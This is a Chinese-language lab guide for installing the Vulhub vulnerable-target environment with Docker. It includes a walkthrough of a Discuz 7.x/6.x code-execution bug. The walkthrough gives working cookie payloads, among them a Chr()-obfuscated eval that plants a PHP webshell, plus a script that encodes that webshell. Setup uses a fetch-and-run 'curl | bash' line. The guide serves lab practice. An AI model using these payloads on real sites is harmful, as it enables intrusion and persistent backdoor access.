Vulhub漏洞靶场搭建
字数 893 2025-08-18 11:39:19
Vulhub漏洞靶场搭建与使用指南
一、Vulhub简介
Vulhub是一个面向大众的开源漏洞靶场,具有以下特点:
- 无需Docker专业知识
- 通过简单命令即可编译和运行完整漏洞靶场镜像
- 专注于漏洞原理本身,简化复现过程
二、环境准备
1. 系统要求
- 物理机:Windows 10
- 虚拟机:CentOS 7 (IP: 192.168.1.13,网卡设置为NAT模式)
2. Docker安装
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
3. Docker-Compose安装
方法一:离线安装
- 下载最新版docker-compose-Linux-x86_64
- 执行以下命令:
mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose version # 验证安装
方法二:Pip安装
yum -y install epel-release
yum -y install python-pip
pip install docker-compose
pip --version # 查看版本
4. Vulhub安装
方法一:离线安装
- 下载Vulhub压缩包
- 执行:
mkdir vulhub && mv master.zip vulhub/ && cd vulhub/
unzip master.zip
方法二:Git安装
yum install -y git
git clone https://github.com/vulhub/vulhub.git
5. Docker加速(可选)
配置阿里云镜像加速:
sudo mkdir -p /etc/docker
vim /etc/docker/daemon.json
添加内容:
{
"registry-mirrors": ["加速器地址"]
}
重启服务:
sudo systemctl daemon-reload
sudo systemctl restart docker
三、靶场使用
1. 基本操作
- 进入目标漏洞目录:
cd vulhub/discuz/wooyun-2010-080723/
- (可选)编辑docker-compose.yml修改端口和账号密码:
vi docker-compose.yml
- 启动环境:
docker-compose up -d
- 关闭环境:
docker-compose down
- 重新编译环境:
docker-compose build
2. 物理机访问容器配置
- 查看容器IP:
docker ps # 查看运行服务端口
docker inspect [容器ID] | grep IPAddress
- 关闭虚拟机防火墙:
systemctl stop firewalld.service
- 物理机添加路由(Windows CMD管理员模式):
route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13
route print # 查看路由表
四、漏洞复现示例(Discuz 7.x/6.x全局变量防御绕过导致代码执行)
1. 环境启动
cd vulhub/discuz/wooyun-2010-080723/
docker-compose up -d
2. 安装步骤
- 浏览器访问
http://[IP]:[Port]/install/ - 安装数据库:
- 数据库服务器:db
- 数据库名:discuz
- 账号密码:root
- 管理员密码:任意
- 跳过联系方式页面
3. 漏洞验证
- 登录后进入默认板块
- 使用Burp抓包,访问任意帖子
- 修改Cookie为:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
- 放包后可见phpinfo()被执行
4. 前台GetShell
修改Cookie为:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
将写入x.php文件,密码为pwd,可使用蚁剑连接
五、实用工具
ASCII码转换脚本
import re
# ASCII转字符
def ASCII2word(ASCIIs):
for c in re.findall(r"(\d+)", ASCIIs):
print(chr(int(c)),end="")
# 字符转ASCII
def word2ASCII(words):
ASCIIs = ""
for word in words:
ASCIIs += "Chr(" + str(ord(word)) + ")."
print(ASCIIs.rstrip('.'))
# 示例
asciis = "Chr(102).Chr(112)..."
ASCII2word(asciis)
words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)
六、常见问题解决
- DNS解析问题:
vim /etc/resolv.conf
# 添加:nameserver 223.5.5.5 # AliDNS
- Docker连接错误:
service docker status
service docker start
- 删除全部镜像:
docker-compose down --rmi all -v
- 删除永久路由:
route delete 172.18.0.0
- Pip安装超时:
mkdir ~/.pip/
cd ~/.pip/
vim pip.conf
添加:
[global]
index-url=https://mirrors.aliyun.com/pypi/simple/
更新pip:
pip install --upgrade pip
七、参考资源
- Vulhub官方GitHub仓库
- Docker官方文档
- 阿里云容器服务